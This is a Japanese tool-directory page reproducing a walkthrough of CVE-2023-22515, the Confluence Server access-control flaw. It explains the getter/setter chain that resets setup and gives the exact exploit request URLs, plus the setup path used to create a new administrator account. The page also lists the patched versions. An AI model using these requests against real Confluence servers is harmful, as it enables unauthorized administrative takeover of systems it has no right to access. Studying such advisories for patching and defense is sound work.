Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2023-22515 — Confluence Server におけるアクセス制御の不備 - CVE-2023-22515 | Kitploit
ツール/GitHubGitHub/lucaspdiniz/cve-2023-22515
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育
GitHublucaspdiniz/cve-2023-22515

CVE-2023-22515

Confluence Server におけるアクセス制御の不備 - CVE-2023-22515

リポジトリを見る
212年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Confluence の脆弱性 - CVE-2023-22515 📓

はじめに

Atlassianは、管理者アクセスを通じて環境を危険にさらす可能性のある脆弱性について報告を受けました。2023年10月4日、AtlassianはCVE-2023-22515に関するセキュリティアドバイザリを公開しました。このCVEは10.0と評価されています。この脆弱性は、Confluence Server および Data Center エディション のバージョン8.0.0で導入され、<8.3.3、<8.4.3、<8.5.2 のバージョンに存在します。

攻撃者はこの脆弱性を悪用して、Confluenceに完全な管理者権限を持つ追加アカウントを作成できます。攻撃者はこの脆弱性を悪用するために事前情報を必要としません。この脆弱性は他の未知の攻撃ベクトルを可能にすると考えられており、できるだけ早くパッチを適用する必要があります。

悪用の解説 ⚠️

この脆弱性を利用すると、攻撃者はConfluence設定のセットアップ段階に戻り、管理者アクセス権を持つ新しいユーザーを作成することができます。これは、ConfluenceがApache Strutsフレームワーク(XWorkパッケージに依存)を使用して構築されているために可能です。XWorkでは、Javaクラスの形でActionを定義できます。各ActionはURLを介して呼び出すことができ、対応するJavaクラスがリクエストを処理し、Actionが必要とする処理を行い、レスポンスを返します。

この問題は主に、URLを介して属性を呼び出すことができるクラスアクションが原因で発生します。

  • ゲッター/セッターを連鎖させて初期セットアップを再有効化する

この悪用は ServerInfoAction アクションで行われ、クラスのゲッター/セッターを操作してセットアップ設定をリセットできます。

ServerInfoAction クラスのコードを分析すると、ConfluenceActionSupport クラスを継承していることがわかります。これにより、そのメソッドもすべて継承されます。そのようなメソッドの1つに、BootstrapStatusProviderオブジェクトを返すゲッターがあります。

root@kitploit:~
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
}

BootstrapStatusProvider クラスには、ApplicationConfiguration オブジェクトを取得するために使用できる別のゲッターメソッドがあるため、このクラスに注目します。

root@kitploit:~
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
}

このオブジェクトにはアプリケーションの設定が含まれており、初期セットアップが完了したかどうかをConfluenceに伝える属性も含まれています。この属性は、ApplicationConfig クラスのセッターを使用して変更できます。

root@kitploit:~
public class ApplicationConfig implements ApplicationConfiguration {
  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }  
}

setSetupComplete(false) を呼び出すことができれば、セットアップ設定プロセスをリセットできます。これは、以下のようにゲッター/セッターメソッドを使用して実行できます。

root@kitploit:~
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

この URL は、上記で説明したすべてのメソッドを呼び出し、セットアップのリセットを担当するターゲットメソッドに到達します。

root@kitploit:~
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)

ハンズオン ✍️

以下に、脆弱性のあるバージョンのConfluenceを実行しているサーバーの例を示します。

上記で説明したメソッド呼び出しを使用して、セットアッププロセスを再起動してみましょう。

root@kitploit:~
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

setupcomplete パラメータを false に設定すると、success という戻り値を受け取ります。これは、パラメータの変更が成功したことを意味します。

  • 新しい管理者アカウントの作成 🔥

セットアップをリセットするための setup URL にアクセスして、新しいアカウントを作成してみましょう。

root@kitploit:~
http://atlassian.poc:8090/setup/setupadministrator-start.action

  • 完了 !!! ✔️

セットアッププロセスをリセットし、管理者アクセス権を持つ新しいユーザーを作成することができました。

パッチ適用 ✅

この脆弱性は、バージョン 8.3.3、8.4.3、8.5.2 で修正されています。新しいバージョンのブランチも同様に安全です。

詳細については、Atlassianが公式ウェブサイトでこの脆弱性に関する詳細を公開しています(詳細はこちら - Atlassian)。

ツールをダウンロード